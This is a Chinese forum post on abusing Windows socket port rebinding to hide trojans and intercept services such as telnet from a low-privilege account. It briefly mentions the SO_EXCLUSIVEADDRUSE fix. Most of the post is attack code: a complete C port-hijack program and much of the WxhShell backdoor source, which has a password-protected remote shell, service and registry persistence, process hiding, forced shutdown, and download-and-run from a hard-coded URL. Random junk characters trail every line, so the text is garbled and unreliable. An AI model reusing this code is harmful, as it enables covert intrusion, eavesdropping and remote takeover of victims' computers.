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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tSEA999  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \yih 1Om>~  
V.K70)]  
  saddr.sin_family = AF_INET; tv 4s12&  
Rz.i/w g}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yD"]{  
5h|'DO x|o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]~?S~l%  
}x:\69$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =:4 '  
a<f;\$h]  
  这意味着什么?意味着可以进行如下的攻击: pGY [f@_x-  
"%:7j!#X|I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m5e\rMN~>\  
?D1x;i9<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tegOT]|  
8'3"uv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 AU0$A403  
/t$rX3A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =Ml|l$  
d>YmKTk"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "(0oP9lZ  
&@=u+)^-{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :_MP'0QP  
nA>*IU[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HMF8;,<_w?  
K1;z Mh  
  #include dj3|f{kg{  
  #include UV?[d:\>'  
  #include M,&tA1CH  
  #include    d0'7efC+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~af8p {  
  int main() D._{E*vg  
  { !K!)S^^Po?  
  WORD wVersionRequested; ';_1rh  
  DWORD ret; /^d. &@*  
  WSADATA wsaData; mRwXN*Izw  
  BOOL val; Dp^"J85}   
  SOCKADDR_IN saddr; y^9bfMA  
  SOCKADDR_IN scaddr; ot^q}fRX  
  int err; L?C\Q^0"`G  
  SOCKET s; JK[T]|G  
  SOCKET sc; ]n~yp5Nbr  
  int caddsize; j(&GVy^;?  
  HANDLE mt; a-fv[oB  
  DWORD tid;   vxb@9 eb!H  
  wVersionRequested = MAKEWORD( 2, 2 ); `a-Bji?  
  err = WSAStartup( wVersionRequested, &wsaData ); c2/"KT  
  if ( err != 0 ) { *K`x;r  
  printf("error!WSAStartup failed!\n"); hMv2"V-X  
  return -1; {JXf*IJ  
  } $Ru&>D#stK  
  saddr.sin_family = AF_INET; Qr<AV:  
   $Tfm/=e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X|,["Az 8  
'gYg~=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ># INEO  
  saddr.sin_port = htons(23); AHq M7+r9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )u<eO FI+  
  { F9%,MSt  
  printf("error!socket failed!\n"); f#1/}Hq/I  
  return -1; w"1 x=+  
  } *u}'}jC1X  
  val = TRUE; ,}KwP*:Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2R\+}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) grc:Y  
  { &m'?*O |  
  printf("error!setsockopt failed!\n"); GKCM|Y  
  return -1; 5 5^tfu   
  } ?HV}mS[t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r5[4h'f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )Z("O[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X PA 0m  
d @m\f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X~Cq  
  { qIz}$%!A  
  ret=GetLastError(); ]W;:|/,c  
  printf("error!bind failed!\n"); se#@)LtZ  
  return -1; 5?w.rcN[j  
  } bi.wYp(*6L  
  listen(s,2); *Z; r B  
  while(1) <*_o0;h|  
  { XC2FF&B&  
  caddsize = sizeof(scaddr); &8n?  
  //接受连接请求 oPsK:GC`U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6Kp}_^|z  
  if(sc!=INVALID_SOCKET) \ADLMj`F|  
  { $R?@L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m<3w^mww  
  if(mt==NULL) C B/r]+4  
  { ioWo ]  
  printf("Thread Creat Failed!\n"); %A) 538F  
  break; Z%OW5]q  
  } l#$TYJi  
  } ws[/  
  CloseHandle(mt); gHZqA_*T8U  
  } \2>3Opt  
  closesocket(s); nE$ f  
  WSACleanup(); Im+ 7<3Z  
  return 0; l|q%%W0  
  }   toIYE*ocv=  
  DWORD WINAPI ClientThread(LPVOID lpParam) nA+F  
  { 'g hys1H  
  SOCKET ss = (SOCKET)lpParam; G|*G9nQ  
  SOCKET sc; K"w%n[u)  
  unsigned char buf[4096]; bb1  f/C%  
  SOCKADDR_IN saddr; @vt$MiOi  
  long num; O1'K>teF%  
  DWORD val; $UC{"0  
  DWORD ret; iD714+N(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Cfv]VQQE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n}q$f|4!  
  saddr.sin_family = AF_INET; \c% g M1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %K l(>{N  
  saddr.sin_port = htons(23); ZLrHZhP-+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NbkK&bz  
  { &a6,ln:P  
  printf("error!socket failed!\n"); >f@ G>H)+  
  return -1; > c:Zx!  
  } =$&&[&  
  val = 100; `tVy_/3(9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )4m_A p\  
  { aq$q ~,E  
  ret = GetLastError(); I_>`hTiR  
  return -1; M*`hDdS  
  } x.UaQ |F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6|#g+&[  
  { `0@z"D5c  
  ret = GetLastError(); ) rpq+~b  
  return -1; T5e^J"   
  } !8/gL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?1w"IjUS  
  { u"Y]P*[k  
  printf("error!socket connect failed!\n"); pkk4h2Ah  
  closesocket(sc);  =:~(m  
  closesocket(ss); 0Oap39  
  return -1; &,MFB  
  } =/}X$,@2  
  while(1) X<euD9?  
  { Z@M6!;y#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~ffwLgu!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X-/Ban  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -;Uj|^  
  num = recv(ss,buf,4096,0); ir&.Z5=  
  if(num>0) h<NRE0-  
  send(sc,buf,num,0); L~&" aF/b  
  else if(num==0) G~!C =l  
  break; -oh7d$~  
  num = recv(sc,buf,4096,0); fp;a5||5  
  if(num>0) >>7aw" 0  
  send(ss,buf,num,0); mH\@QdF  
  else if(num==0) nk/vGa4  
  break; CDCC1BG"  
  } 9@y3IiZ"}  
  closesocket(ss); (h,Ws-O  
  closesocket(sc); sfI N)jh  
  return 0 ; ; k}H(QI  
  } [cpNiw4e  
 SFpQ#  
GV6mzD@ <  
========================================================== Ekjf^Uo  
;J=:IEk  
下边附上一个代码,,WXhSHELL Xw^X&Pp  
MZ~.(&  
========================================================== GYoseqZM  
PAoX$q  
#include "stdafx.h" it,w^VU_]  
[h HG .  
#include <stdio.h> GAp!nix6h  
#include <string.h> TSQh X~RN  
#include <windows.h> ?D=8{!R3  
#include <winsock2.h> f:vD`Fz1  
#include <winsvc.h> p(?3 V  
#include <urlmon.h> tIGs>, a=  
.Dx2 ;lj  
#pragma comment (lib, "Ws2_32.lib") c<tmj{$  
#pragma comment (lib, "urlmon.lib") tcOnM w  
v<&v]!nF  
#define MAX_USER   100 // 最大客户端连接数 9v~5qv;  
#define BUF_SOCK   200 // sock buffer bn-=fb(  
#define KEY_BUFF   255 // 输入 buffer hdg<bZk:  
TzrW   
#define REBOOT     0   // 重启 kl<g;3  
#define SHUTDOWN   1   // 关机 3 Gd|YRtk  
voh^|(:(TH  
#define DEF_PORT   5000 // 监听端口 o4~kX  
c&e0OV\m  
#define REG_LEN     16   // 注册表键长度 o#}mkE87  
#define SVC_LEN     80   // NT服务名长度 OX3Xy7  
>76 |:Nq  
// 从dll定义API 1b[NgOXY=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;)|nkI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KN, 4@4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G_(ct5:_"!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cuv|6t75'  
4Py3I9  
// wxhshell配置信息 rr )/`Kmv%  
struct WSCFG { v, 0<9!'v  
  int ws_port;         // 监听端口 OG}KqG!n  
  char ws_passstr[REG_LEN]; // 口令 6[+j'pW?  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^ZVO ql&  
  char ws_regname[REG_LEN]; // 注册表键名 ,qu:<  
  char ws_svcname[REG_LEN]; // 服务名 8A4TAT4,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  mn`5pha  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XtzOFx/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mATH*[Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Tk](eQsy.v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /.@x 4cdS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z@oKz:U  
+7Rt{C,  
}; 8!4[#y<  
5Pqt_ZWy  
// default Wxhshell configuration _yJ|`g]U3  
struct WSCFG wscfg={DEF_PORT, nl9kYE [  
    "xuhuanlingzhe", ~'{VaYk]v  
    1, M:(&n@e  
    "Wxhshell", >#?iO]).  
    "Wxhshell", GGM5m|4  
            "WxhShell Service", WKOI\  
    "Wrsky Windows CmdShell Service", WG\Q5k4Ba  
    "Please Input Your Password: ", z}3di5+P  
  1, wt\m+!u`  
  "http://www.wrsky.com/wxhshell.exe", b=G4MZQ  
  "Wxhshell.exe" 23k)X"5  
    }; %2YN,a4  
 +Lhe,  
// 消息定义模块 {83C,C-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4UVW#Rw{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $E@ouX?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q[jI=$Q)  
char *msg_ws_ext="\n\rExit."; *?p ^6vO  
char *msg_ws_end="\n\rQuit."; OQ,}/  
char *msg_ws_boot="\n\rReboot..."; }pK v.  
char *msg_ws_poff="\n\rShutdown..."; IqXBz.p  
char *msg_ws_down="\n\rSave to "; 1y~L8!: L  
^8Z@^M&O"  
char *msg_ws_err="\n\rErr!"; {=qEBbM  
char *msg_ws_ok="\n\rOK!"; "&Gw1.p  
fw:7U %MGv  
char ExeFile[MAX_PATH]; 3jXR"@Z-  
int nUser = 0; Xout:dn  
HANDLE handles[MAX_USER]; m|lM.]2_  
int OsIsNt; u?H@C)P  
df^0{gNHx  
SERVICE_STATUS       serviceStatus; m^'~&!ba  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }|SIHz!R  
'V1!&Q6  
// 函数声明 ~z&0qQ  
int Install(void); ygMd$0:MN  
int Uninstall(void); Q7L)f71i  
int DownloadFile(char *sURL, SOCKET wsh); *!i,?vn  
int Boot(int flag); " cNg :  
void HideProc(void); 5`{=`  
int GetOsVer(void); > n1h^AW  
int Wxhshell(SOCKET wsl); D/e&7^iK  
void TalkWithClient(void *cs); 40R"^*  
int CmdShell(SOCKET sock); y2GQN:X  
int StartFromService(void); :MK:TJV  
int StartWxhshell(LPSTR lpCmdLine); b-2pzcK{#  
(VfwLo>#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j{)fC]8H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hH#lTye  
kp'b>&9r  
// 数据结构和表定义 W8< @sq~I  
SERVICE_TABLE_ENTRY DispatchTable[] = JR] )xPI`  
{ ?n2C  
{wscfg.ws_svcname, NTServiceMain}, N`f!D>b:dn  
{NULL, NULL} NWw<B3aL  
}; 0 4P.p6  
nT_*EC<.  
// 自我安装 oN_S}o  
int Install(void) AbL5 !'  
{ uijq@yo8-  
  char svExeFile[MAX_PATH]; 3(MoXA*  
  HKEY key; :sU!PF[<  
  strcpy(svExeFile,ExeFile); 4A;[s m^f  
WfRVv3Vm  
// 如果是win9x系统,修改注册表设为自启动 MgHOj   
if(!OsIsNt) { uPI v/&HA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |!{ z? i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n; Lo  
  RegCloseKey(key); ~azF+}x90N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >Dk1axZ!>/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]^Sd9ba  
  RegCloseKey(key); Ga]47pQ"F  
  return 0; Ii|uGxEc  
    } Y=AH%Gy9 )  
  } P;^y|0N m  
}  -PcS(  
else { qsD?dHi7  
%=laY_y G  
// 如果是NT以上系统,安装为系统服务 R 4DM_ u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <sm#D"GpP  
if (schSCManager!=0) sGXp}{E9  
{ <l* agH-.3  
  SC_HANDLE schService = CreateService Kl4isGcr]  
  ( `)0Rv|?  
  schSCManager, Su$18a"Bc  
  wscfg.ws_svcname, ,Y`'myL8W  
  wscfg.ws_svcdisp, K%98;e9  
  SERVICE_ALL_ACCESS, 7xX;MB &  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |E46vup  
  SERVICE_AUTO_START, ^`l"'6  
  SERVICE_ERROR_NORMAL, suA+8}o]  
  svExeFile, 99\{!W  
  NULL, j9{O0[v  
  NULL, h`z2!F4  
  NULL, MDMtOfe|  
  NULL, ~%olCxfO  
  NULL bRx2 c  
  ); %4?SY82  
  if (schService!=0) 2z'+1+B'  
  { Yh}zt H  
  CloseServiceHandle(schService); vF5wA-3&t  
  CloseServiceHandle(schSCManager); F?*Dr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SQ1M4:hP  
  strcat(svExeFile,wscfg.ws_svcname); {Q{lb(6Ba  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )2iM<-uB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jA20c(O  
  RegCloseKey(key); `,F&y{ A  
  return 0; _fczE~O/  
    } #E- VW  
  } i_j9/k  
  CloseServiceHandle(schSCManager); kvMk:.  
} +)/Rql(lY  
} bYwI==3  
Y|{r vBKjf  
return 1; 4+ASw N9  
} W&fW5af9  
 ET >S  
// 自我卸载 zWCW:dI  
int Uninstall(void) oV0LJ%  
{ tIn7(C  
  HKEY key; ?noETHz)  
h(C#\{V  
if(!OsIsNt) { 9@KUqoX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6vD]@AF  
  RegDeleteValue(key,wscfg.ws_regname); mF6@Y[/B  
  RegCloseKey(key); Hmz=/.$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S5:"_U  
  RegDeleteValue(key,wscfg.ws_regname); bE7(L $UF  
  RegCloseKey(key); oso1uAOfp  
  return 0; =:xV(GK}  
  } =yk Rki  
} 9[epr+f  
} )@8'k]Glw.  
else { fZka%[B  
iQ]T+}nn_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C:'WX*W  
if (schSCManager!=0) P?Gd}mdX?m  
{ &^CL] &/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rh:s 7  
  if (schService!=0) rd&*j^?  
  { G"T;l"TAt8  
  if(DeleteService(schService)!=0) { A&NC0K}G!  
  CloseServiceHandle(schService); p0}+071o%  
  CloseServiceHandle(schSCManager); :wv :#EaH  
  return 0; WL IDw@fv  
  } cM> G>Yzo  
  CloseServiceHandle(schService); OCbQB5k3  
  } 7AGZu?1]M  
  CloseServiceHandle(schSCManager); .G5NGB  
} *([0"  
} ^F0k2pB  
-dc5D@4`#s  
return 1; xWenKY,  
} vxbH^b  
|g7nh[  
// 从指定url下载文件 [3{:H"t  
int DownloadFile(char *sURL, SOCKET wsh) Xhq? 7P$3  
{ mC{!8WC@k  
  HRESULT hr; z) ]BV=  
char seps[]= "/"; Q>SPV8s   
char *token; d+YVyw.z  
char *file; bBeFL~  
char myURL[MAX_PATH]; b.mjQ  
char myFILE[MAX_PATH]; 7})!>p )  
>+A1 V[  
strcpy(myURL,sURL); W G3mQ\k  
  token=strtok(myURL,seps); /H\^l.|vk  
  while(token!=NULL) E5Snl#Gl\0  
  { 9:CVN@E  
    file=token; Q ^1#xBd  
  token=strtok(NULL,seps); &P,4EaC9;  
  } 7)8rc(58  
bOd sMlJkN  
GetCurrentDirectory(MAX_PATH,myFILE); JL]k:i^`A  
strcat(myFILE, "\\"); K*HVn2OV  
strcat(myFILE, file); (04j4teE  
  send(wsh,myFILE,strlen(myFILE),0); #cp$ltY  
send(wsh,"...",3,0); <M =W)2D7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T_(e(5  
  if(hr==S_OK) %~B)~|h  
return 0; TeGLAt  
else d 40'3]/{  
return 1; -Iruua7b  
1v[#::Bs  
} 9|G=KN)P:  
ys.!S.k+  
// 系统电源模块 ?Qo_ KQ%sn  
int Boot(int flag) ',J%Mv>Yf  
{ m|#(gX|F  
  HANDLE hToken; 5EV8zf  
  TOKEN_PRIVILEGES tkp; 8&2gM  
W(PW9J9  
  if(OsIsNt) { x w?9W4<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X/;"CM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4Ow Vt&  
    tkp.PrivilegeCount = 1; #r:Kg&W2FO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JI[rIL \Ey  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zOu$H[  
if(flag==REBOOT) { |$|nV^y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2)I'5 ?I  
  return 0; k+m_L{#m5  
} /J9T=N  
else { d@>k\6%j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S}xDB  
  return 0; ~RR_[t2Z  
} q2j}64o _S  
  } C"m0"O>  
  else { g9lg  
if(flag==REBOOT) { 1^H<+0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4iPua"8  
  return 0; L&gEQDPgq|  
} 3sg)]3jm2  
else { <hF~L k ,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o}^vREO  
  return 0; 3xCA\*  
} M3ZJt'|  
} oj4)7{  
ofrlTw&o  
return 1; &LxzAL,3!  
} PK`(qK9  
9q ,Jq B  
// win9x进程隐藏模块 X)R] a]1A  
void HideProc(void) gZ=9Y:$  
{ ,"MUfZ  
,E8>:-boL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `zsk*W1GA  
  if ( hKernel != NULL ) Vqp.jF1|  
  { yI|?iBc7nC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6pz:Lfd80  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AFhG{G'W  
    FreeLibrary(hKernel); uu/7Ie  
  } 7Caap/L:  
u(G;57ms  
return; [6gHi.`p'  
} ^fiRRFr[  
 AQNx%  
// 获取操作系统版本 gl\{QcI8<  
int GetOsVer(void)  !+VN   
{ e =Tc(Mwn  
  OSVERSIONINFO winfo; >`V|`Zi ?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x 3co?  
  GetVersionEx(&winfo); F1[ [fH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vc1GmB  
  return 1; 6o23#JgN  
  else Q+js2?7^  
  return 0; Jz8#88cY  
} .;v'oR1x5  
pO+wJ|f  
// 客户端句柄模块 > Vm  
int Wxhshell(SOCKET wsl) ZZJ"Ny.2  
{ "&o@%){]  
  SOCKET wsh; EBE>&{%$^  
  struct sockaddr_in client; tfIBsw.  
  DWORD myID; ^ J@i7FOb  
,ui'^8{gK  
  while(nUser<MAX_USER) _~&v s<  
{ ['`'&+x&!  
  int nSize=sizeof(client); MP&4}De  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;j\$[4W.i  
  if(wsh==INVALID_SOCKET) return 1; mNB ]e5 ;N  
Y$5v3E\uc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sWzXl~JbF  
if(handles[nUser]==0) UHszOl  
  closesocket(wsh); `l40awGCz  
else 6C}Z1lZl  
  nUser++; n&{N't  
  } bGnJ4R3J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ptL}F~  
wm[d5A4  
  return 0; J3E:r_+  
} |L-juT X9  
qiJ;v1  
// 关闭 socket 5. UgJ/  
void CloseIt(SOCKET wsh) Ev ,8?  
{ e' ;c8WF3E  
closesocket(wsh); WoR**J?}w  
nUser--; jl29~^@}1i  
ExitThread(0); 4B>|Wft{p]  
} SvrV5X  
+/8?+1E ^  
// 客户端请求句柄 ".Z+bi2l  
void TalkWithClient(void *cs) X2kLbe  
{ *M5C*}dl  
/'+JP4mK  
  SOCKET wsh=(SOCKET)cs; )Em,3I/.l  
  char pwd[SVC_LEN]; ~/[N)RFD  
  char cmd[KEY_BUFF]; 82l";;n4p  
char chr[1]; v)pWx0l=  
int i,j; f}d@G/L  
[$+61n}.12  
  while (nUser < MAX_USER) { g 0=t9J  
*Y?]="8c#;  
if(wscfg.ws_passstr) { cne[-E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); : P2;9+v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?7s  
  //ZeroMemory(pwd,KEY_BUFF); Z)~4)71Y:  
      i=0; CtxK{:  
  while(i<SVC_LEN) { KwyXM9h6=  
(P_+m#  
  // 设置超时 -v&srd^  
  fd_set FdRead; [a6lE"yr  
  struct timeval TimeOut; sNTfRPC  
  FD_ZERO(&FdRead); 0$ EJ4  
  FD_SET(wsh,&FdRead); '1*MiFxKq  
  TimeOut.tv_sec=8; _"TG:RP  
  TimeOut.tv_usec=0; HX[#tT|m~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t?Znil|o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jl}7]cVq#  
Fv B2y8&W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b`=rd 4cpU  
  pwd=chr[0]; AS ul  
  if(chr[0]==0xd || chr[0]==0xa) { s=+G%B'  
  pwd=0; Y6Q6--P  
  break; X} 8U-N6)  
  } jws(`mIf\  
  i++; ~A( Pa-  
    } (~4AG \  
%*hBrjbj  
  // 如果是非法用户,关闭 socket v4zARE9#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >n62csO  
} kE}I b4]J  
co|0s+%PBq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7Q&P4{hi0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (C|%@61S  
I-I5^s  
while(1) { fk_i~K  
9EW 7,m{A  
  ZeroMemory(cmd,KEY_BUFF); fC[gu$f][  
*G38N]|u6  
      // 自动支持客户端 telnet标准   K(Nk|gQ  
  j=0; k5/}S@F8  
  while(j<KEY_BUFF) { |ipppE=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Hqu 2 '`  
  cmd[j]=chr[0]; +iR ;D$w  
  if(chr[0]==0xa || chr[0]==0xd) { A_+ WY|#M  
  cmd[j]=0; Z'~FZRF  
  break; s Y,3  
  } 1['A1 ,  
  j++; *9PQJeyR  
    } +J}M$e Q  
}9JPSl28Jr  
  // 下载文件 uBXI*51{  
  if(strstr(cmd,"http://")) { R_&>iu'[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LxO'$oKZV  
  if(DownloadFile(cmd,wsh)) n >^?BU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _nt%&f  
  else 8~bPoWP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E*$:~w  
  } C%&7,F7  
  else { RL%{VE  
aNz%vbh\  
    switch(cmd[0]) { l d@^ $  
  Lv"83$^S9  
  // 帮助 &*}S 0  
  case '?': { ME(!xI//JZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {XAKf_Cg  
    break; T &1sfS,  
  } x+&&[>-P  
  // 安装 )xeVoAg  
  case 'i': { xFJ>s-g*  
    if(Install())  Y+N87C<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &xVWN>bd^  
    else `i}\k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kr<O7t0X  
    break; x8H)m+AW  
    } ]lo O5  
  // 卸载 $t]DxMd  
  case 'r': { j EX([J1  
    if(Uninstall()) ^ZsME,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  _R ]1J0  
    else C'Ymz`iQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >TE&myZ?*  
    break; ;RrfE8mGj  
    } c}Qc2D3*  
  // 显示 wxhshell 所在路径 .C1^QY-wL  
  case 'p': { ,Ubnz  
    char svExeFile[MAX_PATH]; 1 >Op)T>{c  
    strcpy(svExeFile,"\n\r"); @ZmpcoDI  
      strcat(svExeFile,ExeFile); {Hb _o)S  
        send(wsh,svExeFile,strlen(svExeFile),0); pD]Ry" ZG  
    break; pyNPdEy  
    } &^}w|J?  
  // 重启 {kC]x2 U  
  case 'b': { 6};Sn/ 8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k_ skn3,u  
    if(Boot(REBOOT)) Bg3^BOT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6V8"[0U  
    else { rnW i<Se  
    closesocket(wsh); 0ul2rZc  
    ExitThread(0); x&;SLEM   
    } a+X X?uN{  
    break; -Ju!2by  
    } 2]7nw1&  
  // 关机 +n0y/0Au  
  case 'd': { &W ~,q(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); | o?@Eh  
